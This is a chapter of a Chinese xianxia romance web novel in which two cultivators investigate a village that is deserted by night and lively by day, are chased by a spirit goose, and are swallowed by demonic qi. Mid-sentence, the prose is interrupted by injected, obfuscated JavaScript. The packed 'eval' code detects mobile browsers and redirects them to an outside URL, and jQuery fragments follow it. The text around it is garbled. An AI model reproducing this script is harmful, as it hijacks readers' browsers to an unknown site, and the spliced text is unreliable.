7. 有难同当(修)

作品:《我渣的炉鼎是正道大佬

    收回灵舟,沈乔一、常洲两人悄无声息落下。


    银辉洒下,两人清楚看见村口立了块石碑,石碑蒙尘,勉强认出其上刻有山阳二字。


    叶风吹拂,带来空旷的呼啸,卷走破败不堪的茅屋顶上的茅草,靠墙而立的锄头锈迹斑斑,爬满蜘蛛网。整个村子半点人气也无,好似荒废许久。


    沈乔一与常洲顿觉不对,看向对方的眸中充满了疑惑。


    两人没有冒然上前,而是隐蔽了身形,沈乔一取出从老头那儿买的奇闻,翻至写大鹅村霸的那页,同常洲一道研究。


    常洲:“书上提及最近的时间,是在半年前。”


    “半年?”沈乔一投向村子的目光一言难尽,“我还以为至少荒废了十年八年。”


    常洲抬眸,“不知遭遇了何等巨变,以至于此。”


    沈乔一抱胸支着下巴做思考状,猜测道:“大鹅干的?它修炼成精,寻常修者奈何不了它,大宗门无暇他顾,任由大鹅横行霸道,欺负寻常百姓。”


    他越说越顺,越说越觉得有道理,“百姓不堪其扰,只能携家带口逃离。”


    常洲思量许久,否定他的猜测,“故土难离,凡人一生短短几十年,轻易不会离开生养之地。书上所著,大鹅当村霸三年有余,期间无人因它丧命,我猜它不愿沾染过多因果,是信奉因果循环的灵兽,不是凶狠残暴的凶兽。”


    沈乔一若有所思地点点头,“你所言有理,但这村子……要如何解释?”


    常洲视线转向荒无人烟的山阳村,“还需探查。”


    “现在去?”沈乔一跃跃欲试,大师兄给他带的话本里,少不了名门弟子除魔卫道的故事,沈乔一颇为向往。


    “嗯。”


    常洲轻声回答的音节淹没在一声响亮的打鸣中,两人具是一怔。


    公鸡的高昂的鸣叫似乎离得很近,又似乎离得很远,一声接一声,响亮又嘈杂。


    鸡鸣划开破晓,天际露出些许微光。


    与此同时,惊掉沈乔一下巴的事情发生了——荒芜的村庄好似活过来,破败一扫而空,烟尘蛛网消失,屋子里传出细小的说话声,还有几户点燃烛火。


    “这、这……”沈乔一倒吸一口凉气,不自觉的朝常洲靠近。


    常洲神情严肃,紧盯山阳村的变化,他不似沈乔一初次入世,空有修为、法宝傍身,却无阅历。他见得多了,几乎立即察觉出此番变化不简单,直觉诡异。


    手臂上的力道存在感明显,常洲安抚,“别怕。”


    “……”沈乔一放开扣住常洲胳膊的手,低声反驳,“谁怕了。”


    随着天光大亮,天际红云翻滚,沉寂的村子渐渐热闹起来,袅袅炊烟升起,日出而作的村民扛起锄头出门,农妇端着盆去溪边捣衣,幼童凑在一起玩耍,叽叽喳喳像成群的鸟儿。


    宛如夜里的萧索是假象。


    沈乔一不动声色咽了咽口水,“常洲,那……现在怎么办?”


    常洲稍加思量后道:“待到日暮,我们扮做旅人,进村问路借宿。”


    “好。”沈乔一不假思索应下。


    他答应之快,超乎常洲预料,他这么相信他吗?常洲垂下眸子,掩住眸中翻涌的情绪。


    时间晃眼而过,日头渐渐西斜。


    劳作一日的村民扛着干活的家伙什,三三两两回家。


    常洲和沈乔一看准时机,出现在前往山阳村的道路上,他们改换行头,换上普通的棉布衣裳,风尘仆仆,好叫别人相信他们是赶路的旅人。


    沈乔一换了身赤色滚黑边的收袖劲装,腰间巴掌宽的玉带勾勒出精瘦的腰身,墨发高束在脑后,活脱脱的意气风发少年郎。常洲则是一袭月白宽袖长袍,身形颀长,不苟言笑,严肃又端正。


    两人并肩同行,一静一动。


    沈乔一打量常洲,“我觉得,我们可以扮做一对兄弟。”


    常洲侧眸看向他,等待他未尽的下言。


    沈乔一继续道:“严厉死板的兄长和他那阳光活泼俊朗的弟弟。”


    “……”常洲无奈,“看路,当心脚下。”


    沈乔一当即评价,“有兄长的感觉了。”


    常洲:“……”


    不多时,两人便抵达山阳村。


    在村口外,便见村口有一大池塘,池水清澈,水面波光粼粼,映照落日余晖之色。


    湖中央,一只硕大的白鹅昂首挺胸,四处巡游,他羽毛洁白,沐浴着晚霞,浑身似微光笼罩,瞧着颇为圣洁。


    沈乔一小声对常洲道:“你猜,我们进村它会叨我们吗?”


    常洲:“……或许会。”


    村口有一户人家,院里有位老伯在扫地,还有个三四岁的小娃娃坐在地上玩。


    沈乔一两人进村,站在那户人家的院篱笆外,沈乔一朗声问:“老伯,请问渔阳村怎么走?”


    老伯放下扫把,上前指路,“沿着那条路一直走,约摸还有三十里。”


    沈乔一顿时跨下脸来,好不可怜,委屈巴巴的望向常洲,一双眼睛会说话般,诉说着‘我累了,我不想走’。


    常洲与之对视,无声的与之较劲,最终他败下阵来,只得上前道:“老伯,即将入夜,夜里赶路太危险,常某有一不情之请,请问我们兄弟二人能否在你家中借宿一晚。”


    老伯未答复,浑浊却精明的双眼打量着他们二人,在权衡是否留宿他们。


    “啪嗒啪嗒——”


    “当心——!”


    “什么声音?”


    沈乔一回头张望,顿时瞪大双眼。


    只见方才进村时还安分呆在池塘中的大鹅已然上岸,拖着水啪嗒啪嗒冲向他们二人。


    它挺直脖子,压低头部,张开双翅示威,径直扑棱过来,扑向沈乔一。


    常洲目光一凛,手掌微动,灵力还未聚集,便被打断,一只手猛地抓住他胳膊,拽着他逃跑。


    “别忘了,我们现在是普通人,没有修为!”沈乔一低声道,指了两个方向,“我往这,你往那。”


    常洲颔首,和沈乔一岔开跑。


    “嘎——!”


    大鹅叫声中满含怒意,愚蠢的人类,非但没往它预想的村外跑,反而藏进了村里,罪无可恕!


    大鹅脚掌一横,急刹改换方向,冲沈乔一而去。


    似勇猛捍卫领地的战士,气势汹汹驱赶陌生的入侵者。


    沈乔一灵活无比,即使不使用灵力,亦能在村中猴似的乱窜,每每大鹅将要叨到他,都被他躲了过去。


    “好!”


    “小兄弟身手不错!”


    “躲得好!”


    有看热闹不嫌事大的村民拍手叫好。


    沈乔一拱手,“多谢诸位捧场!”


    “嘎——嘎——嘎——!”


    大鹅怒不可遏,黑豆般的眼睛里燃烧着熊熊火焰。


    啪嗒啪嗒追得更狠了!


    沈乔一在村里跑了两圈,未使用灵力,他气息混乱,已然累得不轻。


    而常洲却好端端站在一旁,一如之前的稳重自持。


    沈乔一暗叹,他可太惨了!


    “它为何只追我?”沈乔一气道,扶着常洲肩膀直喘气。


    常洲老实摇头,“不知。”


    “……”沈乔一顿觉不平衡。


    心念微动,沈乔一眸中闪过狡黠之色,“你待会儿就知道了。”


    常洲疑惑,“什么?”


    在他还未反应过来之际,沈乔一自常洲身后跃起挂他背上,双腿紧紧夹住他


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15325753|167606||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    腰身,胳膊搂住他脖颈。


    温热的体温依偎着他,耳边是错乱急促的气息,常洲瞬间涨红了脸,仿若石化。


    常洲:“下、下来!”


    “我不。”沈乔一紧搂着他,拒绝道,“我们是朋友,是朋友就该有难同当。”


    他重音落在最后四字。


    是……朋友吗?常洲心神一震。


    “快跑快跑!它追上来了,快快快!”


    沈乔一的催促在耳畔响起,常洲漂浮的心神落入僵硬的躯体中。


    他乱了神,托住沈乔一盘在他腰上的腿,脚下借力跃起,躲开大鹅的进攻。


    大鹅扑了个空,怒焰更甚。


    沈乔一探头嘲讽,“叨不着叨不着。”


    “嘎——!”大鹅似出匣的弩箭疾射而来。


    常洲不得不带个‘累赘’四处躲避,咬牙道:“你是小孩吗?”


    “是啊,常洲哥哥。”沈乔一拖长了声音,答完趴常洲肩上,乐不可支。


    常洲:“……”


    落日西斜,最后一缕余晖隐入山峦。


    村口的老伯打开篱笆院门,招手道:“两位小兄弟,快进来!”


    常洲速度极快,闪身躲入老伯院中,常洲松开手,板着脸道:“下来。”


    沈乔一从他背上跳下,笑眯眯道:“多谢常洲哥哥。”


    常洲:“……”


    老伯抱起坐在地上玩的小娃娃进屋,“寒舍简陋,只有粗茶淡饭。”


    “无妨,老伯愿意让我兄弟二人留宿,已是感激不尽。”沈乔一道,做鬼脸逗那小娃娃。


    小娃娃咯咯咯的笑,老伯放下她,“这是我孙女,李可儿。”


    沈乔一戳戳她小脸蛋,“可儿真可爱,想不想看变戏法?”


    李可儿奶声奶气道:“想!”


    沈乔一做了几个假动作,倏的拿出在无为城买的布偶娃娃,“喜不喜欢?”


    “喜欢!喜欢!”李可儿拍手。


    沈乔一递给她,“送你了。”


    李可儿看向爷爷,待爷爷点头,一把抱住布偶娃娃,“谢谢哥哥!”


    常洲眸子微动,望向沈乔一。


    沈乔一揉揉李可儿毛茸茸的脑袋,“不客气!”


    用过晚饭,李老伯为两人安排了房间,还不忘叮嘱道:“屋里有尿壶,若有三急在屋里解决,切记不要出门。”


    沈乔一追问:“为何?”


    李老伯道:“入夜后,若还在外走动,大鹅会追着啄。”


    沈乔一悻悻点头,保证道:“我一定不出去。”


    一个时辰后,夜深人静,沈乔一、常洲两人站在村口。


    夜风吹拂发出呜呜呼啸声,凄厉又尖锐,除此之外,场景与入村时所见并无不同,不似凌晨所见的破败荒芜。


    两人皆绷紧心中的弦。


    沈乔一环顾四周,“大鹅呢?”


    话落,没听到常洲的回答,一声惊恐的尖叫划破寂静的夜空。


    叫声停歇,村民似无所觉,依然深陷美梦之中。


    令人不寒而栗。


    常洲:“是村子里面传来的声音。”


    沈乔一:“走!”


    几息后,沈乔一常洲逐音而来,却见一切如常。


    如常便是最大的异常,两人一刻也不敢松懈,背靠背,放缓步子。


    繁星与朗月藏在云层后,夜色深沉如墨,周遭寂静无声,有一处出奇的黑,似黑夜凝聚的浓墨。


    且距他们越来越近。


    沈乔一疑惑,“那是什么?”


    常洲循声望去,顿时心神剧骇,“是魔气,快躲开!”


    然,一切业已太迟。


    浓墨袭来,张开巨口,将二人吞入其中。